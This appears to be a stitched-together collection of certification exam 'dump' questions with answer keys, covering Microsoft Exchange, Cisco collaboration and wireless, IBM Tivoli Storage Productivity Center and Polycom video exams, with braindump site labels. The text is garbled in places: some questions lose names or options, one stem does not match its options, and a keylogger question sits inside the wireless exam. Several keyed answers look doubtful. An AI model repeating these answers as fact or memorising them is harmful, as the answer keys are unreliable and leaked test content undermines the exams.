You have a hybrid deployment of Exchange Server 2013 and Office 365. The mail flow between Office 365 and the on-premises Exchange Server environment is routed through an Exchange Server 2010 Edge Transport server. Your company is assigned a new set of public IP addresses. A network administrator updates the external firewall address and all of the associated DNS records. Office 365 users report that they cannot receive email messages from on-premises users. You discover that outgoing email messages to Office 365 are in the Office 365 SMTP queue on an Edge server. You need to ensure that the on-premises users can send email messages successfully to the Office 365 users. Which tool should you use?
A. The Exchange Management Console
B. The Exchange Control Panel in Office 365
C. The Exchange Admin Center
D. The Exchange Remote Connectivity Analyzer
70-342 exam Correct Answer: C

QUESTION 10
You have an Exchange Server 2013 organization named adatum.com. The organization contains five Mailbox servers. You need to prevent a user named User8 from permanently deleting an email message in his mailbox. What should you do on the mailbox of User8?
A. Configure an in-place hold.
B. Create an Archive mailbox.
C. Configure a retention hold.
D. Create a Retention tag.
Correct Answer: A

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QUESTION 25
When configuring intercluster URI dialing, an engineer gets the error message andquot;Local cluster cannot connect to the ILS networkandquot;. Which three reasons for this error are true? (Choose three.)
A. The SIP route patterns have not been properly configured.
B. The Tomcat certificates do not match.
C. The Cisco Unified Resource Identifier service needs a restart.
D. The ILS authentication password does not match.
E. The cluster ID does not match.
F. One cluster is using TLS certificate, and the other is using Password.
300-075 exam Correct Answer: CDF

QUESTION 26
Which option is a benefit of implementing CFUR?
A. CFUR is designed to initiate TEHO to reduce toll charges.
B. CFUR can prevent phones from unregistering.
C. CFUR can reroute calls placed to a temporarily unregistered destination phone.
D. CFUR eliminates the need for COR on an ISR.
Correct Answer: C

QUESTION 27
Which option best describes a service that assembles a network model from configured locations and link data in one or more clusters?
A. LBM
B. Weight
C. LBM Hub
D. Shadow
300-075 dumps Correct Answer: A

QUESTION 28
Scenario:
There are two call control systems in this item. The Cisco UCM is controlling the Cisco Jabber for Windows Client, and the 7965 and 9971 Video IP Phone. The Cisco VCS is controlling the SX20, the Cisco TelePresence MCU, and the Cisco Jabber TelePresence for
Windows.DP:
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Both of the Cisco TelePresence Video for Windows clients are able to log into the server but can\’t make any calls. After reviewing the exhibits, which of the following reasons could be causing this failure?
A. Wrong username and/or password.
B. Wrong SIP domain name.
C. The TMSPE is not working.
D. The bandwidth is incorrectly configured.
Correct Answer: D

QUESTION 29
Which statement about setting up FindMe in Cisco TelePresence Video Communication Server is true?
A. Users are allowed to delete or change the address of their principal devices.
B. Endpoints should register with an alias that is the same as an existing FindMe ID.
C. If VCS is using Cisco TMS provisioning, users manage their FindMe accounts via VCS.
D. A VCS cluster name must be configured.
300-075 vce Correct Answer: D

QUESTION 30
Scenario There are two call control systems in this item. The Cisco UCM is controlling the DX650, the Cisco Jabber for Windows Client, and the 7965 and 9971 Video IP Phones. The Cisco VCS and TMS control the Cisco TelePresence Conductor, the Cisco TelePresence MCU, and the Cisco Jabber TelePresence for Windows. Use the exhibits to answer the following questions. DNS Servers
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Which three configuration tasks need to be completed on the router to support the registration of Cisco Jabber clients? (Choose three.)
A. The DNS server has the wrong IP address.
B. The internal DNS Service (SRV) records need to be updated on the DNS Server.
C. Flush the DNS Cache on the client.
D. The DNS AOR records are wrong.
E. Add the appropriate DNS SRV for the Internet entries on the DNS Server.
300-075 exam Correct Answer: BCE

QUESTION 31
Refer to the exhibit.
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An engineer receives a ticket to troubleshoot a one-way audio issue with these symptoms:
User A can hear user and vice versa.
User A can hear user C, however user cannot hear user A.
User can heat user C, however user cannot hear user .
Which two properties are the most likely reasons for this issue? (Choose two.)
A. The Cisco EX60 default gateway of user is missing from the network configuration.
B. The NAT device is allowing only RTP/RTCP ports from the internal network to the DMZ.
C. The Cisco EX60 of user is not responding to requests coming from the TMS server.
D. The Cisco VCS Expressway is not responding to the SIP INVITE coming from the Cisco VCS Control.
E. The router does not have a route back from the DMZ to the internal network.
300-075 dumps Correct Answer: CE

QUESTION 32
Scenario:
The Cisco UCM is controlling the DX650, the Cisco Jabber for Windows Client, and the 9971 Video IP Phone. The Cisco VCS and TMS control the Cisco TelePresence MCU, and the Cisco Jabber TelePresence for Windows
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Which device configuration option will allow an administrator to control bandwidth between calls placed between branches?
A. Media Resource Group List
B. Device Pool
C. Location
D. AAR Group
E. Regions
Correct Answer: C

QUESTION 33
When you use the Query wizard to configure the trace and log central feature to collect install logs, if you have servers in a cluster in a different time zone, which time is used?
A. TLC adjusts the time change appropriately.
B. TLC uses its local time for all systems.
C. TLC queries for the time zone as part of configuration.
D. TLC produces an error and must be run remotely.
300-075 pdf Correct Answer: A

QUESTION 34
The Cisco Unified Communications system of a company has five types of devices: Cisco Jabber Desktop
CP-7965
DX-650
EX-60
MX-200
Which two types of devices are affected when an engineer changes the DSCP for Video Calls service parameter? (Choose two.)
A. DX-650
B. Cisco Jabber Desktop
C. CP-7965
D. EX-60
E. MX-200
Correct Answer: AC

QUESTION 35
What is the default DSCP/PHB for TelePresence video conferencing packets in Cisco Unified Communications Manager?
A. EF/46
B. CS6/48
C. AF41/34
D. CS3/24
E. CS4/32
300-075 exam Correct Answer: E

QUESTION 36
How many Cisco Unified Mobility destinations can be configured per user?
A. 1
B. 10
C. 4
D. 6
Correct Answer: B

QUESTION 37
Which task must you perform before deleting a transcoder?
A. Delete the dependency records.
B. Unassign it from a media resource group.
C. Use the Reset option.
D. Remove the device pool.
E. Remove the subunit.
F. Delete the common device configuration.
300-075 dumps Correct Answer: B

QUESTION 38
Company X has deployed a VCS Control with a local zone and a traversal client zone. To facilitate external calls, VCS Expressway is deployed and traversal server zone is set up there. Video endpoints inside Company X have registered, but are unable to receive calls from outside endpoints. Which option could be the cause of this issue?
A. The traversal zone on the VCS Control does not have a search rule configured.
B. The access control list on the VCS Control must be updated with the IP for the external users.
C. When a traversal zone is set up on VCS Control only outbound calls are possible.
D. The local zone on the VCS Control does not have a search rule configured.
Correct Answer: B

QUESTION 39
Widgets.com\’s Cisco TelePresence Video Communication Server allows SIP and H.323 registrations. Which local zone search rule configuration allows SIP registered endpoints to connect to H.323 endpoints that register with an H.323 E.164 number only?
A.
B.
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C.
D.
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QUESTION 40
Company A has deployed a VCS Control and is attempting to register a third-party endpoint. The engineer has confirmed that no traffic is being blocked for the endpoint and it is receiving a valid IP address. Which option could be the cause of this registration failure?
A. Third-party endpoints are not compatible with VCS Control, only with VCS Expressway.
B. Cisco Unified Communications Manager is required in addition to the VCS Control.
C. An incorrect SIP domain is configured on the VCS Control for the endpoint.
D. The VCS Control must be deployed together with VCS Expressway before endpoints can register to either one.
300-075 exam Correct Answer: C

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1.How many zone set(s) can be active at the same time?
A.1
B.3
C.10
D.unlimited
000-002 exam Answer:A

2.Which protocol is used to discover a CIMOM?
A.SLP
B.UDP
C.TPC
D.SNMP
Answer:A

3.Which IBM Tivoli Storage Productivity Center server directories and subdirectories need to be backed up on UNIX in case of a disaster?
A./opt/IBM/TPC
B./usr/IBM/Tivoli/tip and /usr/IBM/TPC
C./opt/IBM/Tivoli/tip, /opt/IBM/replication, and /opt/IBM/TPC
D./usr/IBM/Tivoli/tip, /usr/IBM/replication, and /opt/IBM/TPC
000-002 dumps Answer:C

4.What are the default server components that will get installed when a typical installation with Servers is selected?
A.IBM Tivoli Storage Productivity Center for Data and Device
B.Tivoli Integrated Portal, Storage Resource agent, and IBM Tivoli Storage Productivity Center for Data Server
C.IBM Tivoli Storage Productivity Center for Data and Device, and IBM Tivoli Storage Productivity Center for Replication
D.Tivoli Integrated Portal, IBM Tivoli Storage Productivity Center for Replication, and IBM Tivoli Storage Productivity Center for Data and Device
Answer:D

5.Which two items must be configured in IBM Tivoli Storage Productivity Center (Tivoli Storage Productivity Center) to send an alert to Tivoli Enterprise Center/OMNIbus? (Choose two.)
A.the default domain name
B.a fully qualified Tivoli Enterprise Console/OMNIbus Server
C.the IP address where Tivoli Enterprise Console/OMNIbus can be found
D.the Tivoli Enterprise Console/OMNIbus User ID and Password to gain access
E.the port number to which Tivoli Storage Productivity Center will direct Tivoli Enterprise
Console/OMNIbus events
000-002 pdf Answer:B E

6.The customer is requesting performance monitoring of NetApp storage subsystems. Which agent is required?
A.NetApp CIM agent (ONTAP SMI-S agent)
B.IBM Tivoli Storage Productivity Center Data agent
C.IBM Tivoli Storage Productivity Center Storage Resource agent
D.IBM Tivoli Storage Productivity Center Data agent and NetApp CIM agent
Answer:A

7.What are the correct steps to create a zone set?
A.Go to Fabric Manager->Fabrics->Zone Configuration->Change->Add under Zone Sets->Provide Zone Set name->Select Zone(s) for Zone Set ->Finish.
B.Go to Disk Manager->Fabrics->Select Fabric->Zone Configuration->Change->Add under Zone Sets->Provide Zone Set name->Select Zone(s) for Zone Set ->Finish.
C.Go to Data Manager->Fabrics->Select Fabric->Zone Configuration->Change->Add under Zone Sets->Provide Zone Set name->Select Zone(s) for Zone Set ->Finish.
D.Go to Fabric Manager->Fabrics->Select Fabric->Zone Configuration->Change->Add under Zone Sets->Provide Zone Set name->Select Zone(s) for Zone Set ->Finish.
000-002 vce Answer:D

8.After SMI-S agent of the fabric has completed its discovery, what is the next step before creating zone or zone set?
A.Run Probe.
B.Run Discovery.
C.Do not do anything else.
D.Run Performance Monitor job.
Answer:A

9.Where does a user go to run a CIMOM Discovery on the IBM Tivoli Storage Productivity Center GUI?
A.Administrative Services->Discovery->CIMOM
B.Administrative Services->Discovery->CIM agent
C.IBM Tivoli Storage Productivity Center -> CIMOM Discovery
D.IBM Tivoli Storage Productivity Center -> Discovery -> CIMOM
000-002 exam Answer:A

10.What are two methods to determine if a CIM agent contains the devices that it manages, after it has been added successfully on IBM Tivoli Storage Productivity Center GUI? (Choose two.)
A.Administrative Services->Discovery->CIMOM/Agents->Show Managed Devices
B.Administrative Services->Data Sources->CIMOM/Agents->Show Managed Devices
C.Administrative Services->Data Sources->CIMOM/Agents->Select CIMOM->Show Managed Devices
D.Administrative Services->Discovery->CIMOM->Select CIMOM discovery log->Show Managed Devices
E.Administrative Services->Discovery->CIMOM->Select CIMOM discovery log->expand on the CIMOM log
Answer:C E

11.What is the minimum interval for data gathering by a switch performance monitor job?
A.1 minute
B.5 minutes
C.10 minutes
D.15 minutes
000-002 dumps Answer:B

12.Which device currently supports for Single Sign-on with IBM Tivoli Storage Productivity Center V4.1?
A.SVC 4.3.1
B.DS8000 Release 4.2
C.DS5000 (Firmware 7.50.12.00)
D.Brocade switches managed by DCFM
Answer:B

13.When submitting a storage optimization report job, will data be physically moved from one storage pool to another?
A.Yes. Data will be physically moved to target pool.
B.No. No physical data move will be done; it will only be simulated.
C.Yes. Data will be physically moved to target pool but only when in the same format (CKD or FB).
D.Yes. Data will be physically moved to target pool, but only when in the same type of subsystem.
000-002 pdf Answer:B

14.Given a successful installation of IBM Tivoli Storage Productivity Center, which directory contains the current Device server logs?
A.\log
B.\data\log
C.\device\log
D.\data\server
Answer:C

15.How can a user validate that the data agents are registered successfully on the IBM Tivoli Storage Productivity Center GUI tree?
A.Data Manager-> Data/Storage Resource agents
B.IBM Tivoli Storage Productivity Center-> agents
C.IBM Tivoli Storage Productivity Center-> Data agents
D.Administrative Services->Data Sources->Data/Storage Resource agents
000-002 vce Answer:D

16.In the IBM Tivoli Storage Productivity Center GUI, where can it be verified if a switch is enabled for performance monitoring?
A.Fabric Manager -> Fabrics
B.Administrative Services -> Data Sources -> CIMOM agents
C.IBM Tivoli Storage Productivity Center -> Topology -> Switches
D.IBM Tivoli Storage Productivity Center -> Configuration Utility, Fabric Manager tab
Answer:D

17.Which information is collected from computers during the probe job?
A.information about disks and disk controllers
B.health information about fabric components
C.information about file types and their ownership
D.information about operating system resources (swap-space, memory, and so on)
000-002 exam Answer:A

18.Which IBM Tivoli Storage Productivity Center V4.1 (Tivoli Storage Productivity Center) license is required for using the storage performance optimizer?
A.Basic Editon
B.Standard Edition
C.Tivoli Storage Productivity Center for Disk
D.Tivoli Storage Productivity Center for Data
Answer:B

19.Policies are enforced when defined conditions are detected by a monitoring job. What are two requirements to be used in the Policy management function to manage and enforce policies? (Choose  two.)
A.quotas
B.constraints
C.Security levels
D.System enforcer
E.Data Management tool
000-002 dumps Answer:A B

20.Which group does the installer’s user ID have to belong to when installing DB2 on a Windows platform?
A.TCPADMIN
B.DB2 Users Group
C.Administrator Group
D.Windows Systems Group
Answer:C

21.For computer and file system groups in Data Manager, a Group By Cluster check box is displayed. What happens if this option is selected?
A.The Available pane displays a cluster name next to any clustered computers and cluster resource groups.
B.The Available pane automatically filters and hides any cluster aware computers from being displayed in the list.
C.The Available pane provides an additional option of being able to filter and hide cluster aware computers from being displayed in the list.
D.The Available pane displaying any computer or cluster resource group that belongs to a PowerHA or MSCS Cluster is grouped under its cluster name.
000-002 pdf Answer:D

22.What are two prerequisites for IBM Tivoli Storage Productivity Center to launch external tools? (Choose two.)
A.It can be launched with a URL.
B.It is a locally installed application.
C.It must support Web 2.0 standard.
D.It is a platform independent Java application.
E.It runs in the same WebSphere server that the data server runs in.
Answer:A B

23.What is the minimum number of servers required to install DB2, IBM Tivoli Agent Manager and IBM Tivoli Storage Productivity Center for a small customer environment consisting of a single DS8000 and 10 host machines?
A.1
B.2
C.3
D.4
000-002 vce Answer:A

24.How many zone member(s) does a zone contain?
A.one
B.five
C.unlimited
D.Check with vendor documentation to see what is supported.
Answer:D

25.Which IBM Tivoli Storage Productivity Center license is necessary for IBM Tivoli Storage Productivity Center –> Analytics function usage?
A.IBM Tivoli Storage Productivity Center for Data
B.IBM Tivoli Storage Productivity Center Basic Edition
C.IBM Tivoli Storage Productivity Center Limited Edition
D.IBM Tivoli Storage Productivity Center Standard Edition
000-002 exam Answer:D

26.Which IBM Tivoli Storage Productivity Center V4.1 media disk image contains the Storage Resource agent installation packages?
A.Disk 1
B.Disk 2
C.Disk 3
D.both Disk 1 and Disk 2
Answer:D

27.Upon completion of the IBM Tivoli Storage Productivity Center (Tivoli Storage Productivity Center) upgrade, the Tivoli Storage Productivity Center database must be migrated by using the database migration tool. Which choice represents the database migration tools that can be executed to perform the database migration?
A.db2update.bat or db2update.sh
B.migratetables.bat or migratetables.sh
C.partitiontables.bat or partitiontables.sh
D.migratepartitions.bat or migratepartitions.sh
000-002 dumps Answer:C

28.Which jobs need to run in order to populate the database with all available information for a storage subsystem?
A.Probe and Scan
B.Discovery and Scan
C.Discovery and Probe
D.Probe and Performance Monitor
Answer:C

29.Which is a valid triggering condition for the scan job alert?
A.Scan Failed
B.Scan Completed Successfully
C.Scan Completed with Warnings
D.Scan found more than 10,000 files
000-002 pdf Answer:A

30.Which task must be performed before gathering information about NetWare volumes?
A.Create profiles to define which Netware servers to scan.
B.Create quotes to control how many NetWare volumes should be pinged and scanned.
C.Configure Device Manager to discover all the NetWare servers in NDS trees and then run a ping job.
D.Define a scan and include the NetWare volumes and file systems for which you want to gather detailed
storage information.
Answer:D

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Following Cisco 642-732 Dumps 193QAs Are All New Published By Pass4itsure (1-21)

QUESTION 1
In an outdoor mesh environment, which is the purpose of deploying one of the access points relatively higher than the others?
A. The MAPs need to be mounted higher than the first hop RAPs so that the mesh units can accomplish radio line of sight.
B. Elevated MAPs are connected to the switches, providing better bandwidth that all the RAPs utilize for client connectivity.
C. An AP deployed as a RAP needs to be mounted in a higher elevation to provide clear connectivity to first hop MAPs.
D. Root APs need clear line of sight to provide the best bandwidth to all of its RAPs, so the higher the better.
642-732 exam Correct Answer: C

QUESTION 2
You have a customer that is building a new campus of four 3-story buildings that you have just completed the site survey for. The customer is interested in the amount of rack space they will need to allocate in either the building MDF or in the data center for controllers. Each building is going to require 75 APs to support voice and data. How should the controllers be deployed to provide the least number of controllers, the highest redundancy, and the easiest management?
A. Use the distributed deployment method in each building MDF with the N + N redundancy method.
B. Use the centralized deployment method in the data center with the N + N + 1 redundancy method.
C. Use the distributed deployment method in each building MDF with the N + 1 redundancy method.
D. Use the centralized deployment method in the data center with the N + 1 redundancy method.
E. Use the distributed deployment method in each building MDF with the N + N +1 redundancy method.
F. Use the centralized deployment method in the data center with the N + N redundancy method.
Correct Answer: B

QUESTION 3
Which option allows the maximum 2.4-GHz channel usage for a survey and data deployment in the ETSI domain?
A. 1, 6, 11
B. 1, 5, 9, 13
C. 1, 6, 9, 14
D. 1, 6, 11, 14
642-732 dumps Correct Answer: B

QUESTION 4
Which two issues do access and backhaul radios experience in mesh networks? (Choose two.)
A. The access radio has to connect to two or several points.
B. The access cell usually covers more area at ground level that may have more sources of reflection and interference.
C. The access cell radio range is larger than the backhaul radio range, which causes the backhaul cell radio to suffer from more interference.
D. Backhaul radios are a bottleneck for throughput.
E. RAPs help MAPs avoid coverage holes.
Correct Answer: BD

QUESTION 5
Refer to the exhibit. Clients are being disconnected from the WLAN. Which source of interference can cause a Denial of Service?
642-732 dumps

A. jammer
B. microwave oven
C. Bluetooth devices
D. wireless video camera
E. ZigBee device
642-732 pdf Correct Answer: A

QUESTION 6
You have a client that would like to upgrade their 2.4-GHz point-to-point wireless bridge link between buildings in their facility in Mexico. Currently, they have radios from vendor A that are transmitting at 14 dBm with 6 dBm antennas. They would like to upgrade the radios to vendor B but keep the existing antennas. The new radios from vendor B have a fixed transmit power of 7 dBm. How should you proceed?
A. Install the new radios with existing vendor A antennas.
B. Install new radios with replacement vendor A antennas rated at 13 dBm.
C. Install new radios with replacement vendor A antennas rated at 30 dBm.
D. Install the new radios with new vendor B antennas rated at 29 dBm.
E. Install the new radios with new vendor B antennas rated at 13 dBm.
Correct Answer: E

QUESTION 7
Refer to the exhibit.
642-732 dumps

After performing a Layer 1 survey using Cisco Spectrum Expert, what is the result indicated by the visual screen?
A. Normal 802.11b activity
B. Normal 802.11g activity
C. Microwave oven interference
D. Video camera interference
E. Bluetooth device interference
642-732 vce Correct Answer: B

QUESTION 8
What two types of antennas have a high gain, narrow beam width, and are typically used for point-to-point bridging? (Choose two.)
A. dipole antenna
B. Yagi antenna
C. patch antenna
D. parabolic dish antenna
E. omni-directional
F. monopole antenna
Correct Answer: BD

QUESTION 9
When planning a site survey, what Cisco tool can an engineer use to estimate the number of required APs?
A. MSE Location Tracking
B. WCS Planning Mode
C. WLC NetFlow Exporter
D. LWAP Monitor Mode
E. WCS Map Editor
642-732 exam Correct Answer: B

QUESTION 10
In which two ways does the type of industry vertical change the way you prepare to perform a wireless site survey? (Choose two.)
A. In most cases the specific industry vertical impact is not unique and information used to prepare for a site survey can be reused from one vertical to another.
B. The first step in preparing for a site survey for a specific industry vertical is to review the individual industry standards for a WLAN deployment to ensure compliance with all known standards.
C. Each industry vertical has its own specific challenges that need to be considered prior to completion of the WLAN site survey.
D. Prior to performing a site survey for a customer, their specific industry vertical has very little impact on site survey process. Only post-survey design is impacted by the industry vertical.
Correct Answer: BC

QUESTION 11
Refer to the exhibit.
642-732 dumps

Clients in a conference room have been experiencing difficulty connecting to the Access Point on Channel 1. Which option is causing the interference?
A. Wireless Video Camera
B. Bluetooth Device
C. Cordless Phone
D. Zigbee Device
E. Jammer
642-732 dumps Correct Answer: C

QUESTION 12
Which two are impacts of having 802.11b clients in an 802.11g network? (Choose two.)
A. 802.11b clients will degrade throughput of 802.11g clients
B. 802.11b is more susceptible to multipath than 802.11g
C. 802.11b operates over fewer channels than 802.11g
D. 802.11b uses 20 MHz wide channels, 802.11g uses 40 MHz wide channels
E. 802.11b is more susceptible to attenuation than 802.11g
Correct Answer: AB

QUESTION 13
Which option describes the method of measuring the beamwidth of an antenna?
A. 30 degrees on each side from the main lobe gain
B. 60 degrees on each side from the main lobe gain
C. – 3 dB on each side from the main lobe gain
D. – 6 dB on each side from the main lobe gain
642-732 pdf Correct Answer: C

QUESTION 14
How would clients react to a controller configuration that utilized unsupported channels?
A. Unsupported channels can cause coverage holes for clients as well as limit their connectivity.
B. Unsupported channels would be ignored by clients.
C. Unsupported channels would have no impact on clients. The user would simply need to roam to a supported channel.
D. Unsupported channels are not configurable on the controller, thus there would be no impact on clients.
Correct Answer: A

QUESTION 15
An engineer is conducting a VoWLAN survey for voice clients with a max power of 40 mW. What power level should the engineer set the AP to during the survey?
A. 5 mW
B. 10 mW
C. 20 mW
D. 30 mW
E. 40 mW
642-732 vce Correct Answer: C

QUESTION 16
Which three components make up a Statement of Work? (Choose three.)
A. Post-survey recommendations
B. WLAN testing information
C. A list of changes in scope
D. Survey type
E. A list and description of locations to be surveyed.
F. Confirmation of timeline and cost
G. A list of equipment required to perform network analysis
Correct Answer: DEF

QUESTION 17
Which two basic characteristics would be needed from antennas used for survey and deployment in various indoor situations? (Choose two.)
A. Horizontally polarized
B. Vertically polarized
C. Aesthetically fitting
D. Least cost
E. Highest gain
F. Largest beamwidth
642-732 exam Correct Answer: BC

QUESTION 18
An engineer is tasked with designing a WLAN. The customer is prioritizing data speeds to the desktop, but is also entertaining the idea of adding 802.11 phones in the future. Given this information, how should the engineer conduct the survey?
A. consider the employee head count in congested office space and limit the edge of each cell to an RSSI of -67mW
B. restrict AP cell edges to -67dB and be sure to strategically place APs in congested office spaces
C. co-locate access points when possible to cover high user areas and place APs at each corner of the facility
D. stagger the AP placements, and be sure to have a high signal to noise ratio that will accommodate the future VoIP devices
Correct Answer: B

QUESTION 19
What is the result if a client radio is incapable of supporting all the 5 GHz channels you have deployed in the controller or APs?
A. You may only be able to deploy 20 MHz-wide channels.
B. This may result in the client having to roam more frequently to find a channel it supports.
C. This may result in coverage holes in the network.
D. You may only be able to deploy 40 MHz-wide channels.
642-732 dumps Correct Answer: C

QUESTION 20
What are the most appropriate channels for an 802.11a/n VoWLAN survey and deployment in the FCC domain?
A. 4 channels of UNII-1
B. 8 channels of UNII-1, and UNII-2
C. 8 channels of UNII-1, and UNII-3
D. 15 channels of UNII-2, and UNII-2 extended
E. 23 channels of UNII-1, UNII-2, UNII-2 extended, and UNII-3
F. 24 channels of UNII-1, UNII-2, UNII-2 extended, UNII-3, and ISM
Correct Answer: C

QUESTION 21
Which of the following tools works both as an encryption-cracking tool and as a keylogger?
A. Magic Lantern
B. KeyGhost Keylogger
C. Alchemy Remote Executor
D. SocketShield
642-732 pdf Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Magic Lantern works both as an encryption-cracking tool and as a keylogger. Answer: C is incorrect. Alchemy Remote Executor is a system management tool that allows Network Administrators to execute programs on remote network computers without leaving their workplace. From the hacker’s point of view, it can be useful for installing keyloggers, spyware, Trojans, Windows rootkits and such. One necessary condition for using the Alchemy Remote Executor is that the user/attacker must have the administrative passwords of the remote computers on which the malware is to be installed. Answer:
B is incorrect. The KeyGhost keylogger is a hardware keylogger that is used to log all keystrokes on a computer. It is a tiny device that clips onto the keyboard cable. Once the KeyGhost keylogger is attached to the computer, it quietly logs every key pressed on the keyboard into its own internal Flash memory (just as with smart cards). When the log becomes full, it overwrites the oldest keystrokes with the newest ones.
Answer: D is incorrect. SocketShield provides a protection shield to a computer system against malware, viruses, spyware, and various types of keyloggers. SocketShield provides protection at the following two levels: 1.Blocking: In this level, SocketShield uses a list of IP addresses that are known as purveyor of exploits. All http requests for any page in these domains are simply blocked. 2.Shielding: In this level, SocketShield blocks all the current and past IP addresses that are the cause of unauthorized access.
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QUESTION 1
Configuring a room on the Resource Manager or Converged Management Application (CMA) allows you to do which two of these?
A. Schedule a conference by picking a room by name
B. Associate an endpoint to a room instead of a user
C. Integrate into Active Directory
D. Dial the room from the Guest Book
1K0-001 exam Correct Answer: AB
QUESTION 2
Which Virtualization Manager (DMA) function ensures resources are available in the event of a failure somewhere in the network?
A. Scalability
B. Virtualization
C. Resiliency
D. Redundancy
Correct Answer: D
QUESTION 3
Which Virtualization Manager (DMA) function refers to the ease with which a solution can be expanded to meet further demand?
A. Virtualization
B. Scalability
C. Redundancy
D. Resiliency
1K0-001 dumps Correct Answer: B
QUESTION 4
What is the file type used by the HDX endpoint when performing a software update?
A. .pup
B. .exe
C. .bin
D. .iso
Correct Answer: A
QUESTION 5
Select three RSS options which are available using activation keys:
A. HD live streaming
B. Encryption
C. 1080P
D. Multicast
1K0-001 pdf Correct Answer: ABD
QUESTION 6
Successfully entering and authenticating provisioning server settings during HDX setup allows what?
A. Dynamic Management Mode
B. Automatic name configuration
C. Automatic gatekeeper configuration
D. Dynamic name adjustment
Correct Answer: A
QUESTION 7
Which RMX function allows you to schedule future conferences?
A. There is no such function
B. Calendaring
C. Scheduling
D. Reservations
1K0-001 vce Correct Answer: D
QUESTION 8
Which of the following is the name that registers RMX conferences, meeting rooms and entry queues in any gatekeeper or SIP server?
A. Display name
B. Routing name
C. E.164 alias
D. H.323 name
Correct Answer: B
QUESTION 9
You are trying to schedule a conference on the CMA but when you log in with your administrator account
you can’t see the Scheduling menu. What is wrong?
A. Lack of Operator privileges in your User account
B. Lack of Scheduler privileges in your User account
C. Lack of Auditor privileges in your User account
D. Lack of Administrator privileges in your User account
1K0-001 exam Correct Answer: B
QUESTION 10
Which Virtualization Manager (DMA) function refers to the ability to recover quickly from an interrupting event?
A. Scalability
B. Redundancy
C. Virtualization
D. Resiliency
Correct Answer: D
QUESTION 11
Your customer has an issue with their Virtualization Manager (DMA) and they contact Polycom Global Services for support, Select the option which best describes what they will need to supply PGS:
A. System Log Files plus any additional files specifically requested
B. Troubleshooting Utilities plus any additional files specifically requested
C. System Log Files
D. Troubleshooting Utilities
1K0-001 dumps Correct Answer: A
QUESTION 12
Ethernet encapsulates data into a:
A. Packet
B. Frame
C. Segment
D. Datagram
Correct Answer: B
QUESTION 13
How is Personal Conference Manager initiated when in a call hosted on an RMX?
A. Click on the PCM button
B. Launch it from RMX Manager
C. From your computer
D. Pressing ## on the remote control
1K0-001 pdf Correct Answer: D
QUESTION 14
Any device which does not have an IP subnet configured in a network site appears where in the Virtualization Manager (DMA) site topology?
A. Default Site
B. Internet/VPN
C. Nowhere
D. Primary Site
Correct Answer: B
QUESTION 15
A customer would like to configure H.323 on their RSS; select the two options which they can configure:
A. Enable H.323
B. Neighbored gatekeeper
C. Primary gatekeeper
D. Alternate gatekeeper
1K0-001 vce Correct Answer: CD
QUESTION 16
Which of the following are three roles supported by the RMX?
A. Administrator
B. Auditor
C. Operator
D. Scheduler
Correct Answer: ABC
QUESTION 17
Which protocol does SIP use for control while in a call?
A. SDP
B. RTP
C. H.225
D. H.245
1K0-001 exam Correct Answer: A
QUESTION 18
The Physical layer takes care of:
A. how the0s and1s are sent across the physical network
B. how anyencryptionis applied to the payload
C. what kind of data is being sent
D. whether MAC addresses or IP addresses are used
Correct Answer: A
QUESTION 19
Which function allows the Virtualization Manager (DMA) to automatically generate a conference room for all users?
A. Automatic Conference Room Creator
B. Dynamic conference room wizard
C. Dynamic User Creation wizard
D. Active Directory integration
1K0-001 dumps Correct Answer: D
QUESTION 20
Which of the following are three valid Virtualization Manager (DMA) user roles?
A. Scheduler
B. Administrator
C. Provisioner
D. Auditor
Correct Answer: BCD
QUESTION 21
When connecting to a Resource Manager or Converged Management Application (CMA) for the first time, which is the correct username and password?
A. admin / admin
B. admin / password
C. POLYCOM / POLYCOM
D. SUPPORT / SUPPORT
1K0-001 pdf Correct Answer: A
QUESTION 22
When discussing video quality, resolution is which two of these choices?
A. how many pixels are in a display picture
B. improving the picture
C. how you can classify the picture as high definition
D. how the picture is compressed
Correct Answer: AC
QUESTION 23
Which device is used to change electrical energy into sound energy so that the near-end audience can hear the far-end audience?
A. Sound Pressure Meter
B. Repeater
C. Microphone
D. Speaker
1K0-001 vce Correct Answer: D
QUESTION 24
Sharing content in a SIP call requires which protocol?
A. H.239
B. Binary Floor Control Protocol
C. People+Content
D. H.225
Correct Answer: B
QUESTION 25
Where are the primary and secondary RSS recording rates set?
A. Multicast
B. VRR
C. Template
D. Channel
1K0-001 exam Correct Answer: C
QUESTION 26
Which optional network capability becomes mandatory if automatic dynamic management of HDX endpoints by the Resource Manager or Converged Management Application (CMA) is required?
A. DNS SRV record
B. Active Directory integration
C. Redundancy
D. DHCP
Correct Answer: A
QUESTION 27
If ad-hoc dial-in is enabled in an RMX entry queue, what are you able to do?
A. Only dial into an entry queue
B. Make a call into a meeting room using ISDN
C. Only make a call into a previously defined meeting room
D. Make a call into a meeting room not previously defined
1K0-001 dumps Correct Answer: D
QUESTION 28
You dial into an RMX meeting room, but the video call keeps dropping to audio only. Select the best two troubleshooting steps for this issue:
 A. Check that there are available video resources
B. Check whether VSVV has been enabled in the profile
C. Check that ISDN/PSTN dial-in is checked
D. Check whether encryption has been enabled
Correct Answer: AB
QUESTION 29
The TCP/IP model is similar to the OSI model but not the same because:
A. it is incorrect
B. it is designed to fit specific existing networking protocols
C. the two models are not designed to fit together
D. the two models are not related
1K0-001 pdf Correct Answer: B
QUESTION 30
H.225 provides which three functions?
A. call setup via Q.931
B. RAS
C. in-call control
D. framing
Correct Answer: ABD
QUESTION 31
What is the default password on an HDX end point?
A. HDX serial number
B. admin
C. nothing (leave blank)
D. POLYCOM
1K0-001 vce Correct Answer: A
QUESTION 32
The Presentation layer takes care of:
A. how any encrytion is applied to the payload
B. how the Os and 1s are sent across the physical network
C. what kind of data is being sent
D. whether MAC addresses or IP addresses are used
Correct Answer: A
QUESTION 33
Which three RMX flags are used to configure Converged Management Application (CMA) address book integration?
A. EXTERNAL_CONTENT_MANAGER
B. EXTERNAL_CONTENT_PASSWORD
C. EXTERNAL_CONTENT_USER
D. EXTERNAL_ONTENT_DIRECTORY
1K0-001 exam Correct Answer: BCD
QUESTION 34
When VSW mode is enabled in an RMX conference profile, how many resources does each participant use at 1080P resolution?
A. 1
B. 0.5
C. 3
D. 6
Correct Answer: A
QUESTION 35
A customer would like any of his business partners to be able to dial into his monthly video meeting to discuss order progress. Which VBP should the customer buy?
A. ST-series
B. E-series
1K0-001 dumps Correct Answer: B
QUESTION 36
RAS uses which protocol?
A. H.225
B. H.245
C. Q.931
D. G.711
Correct Answer: A
QUESTION 37
Which of the following is the special RMX lobby used to route users to their conference?
A. Conference Room
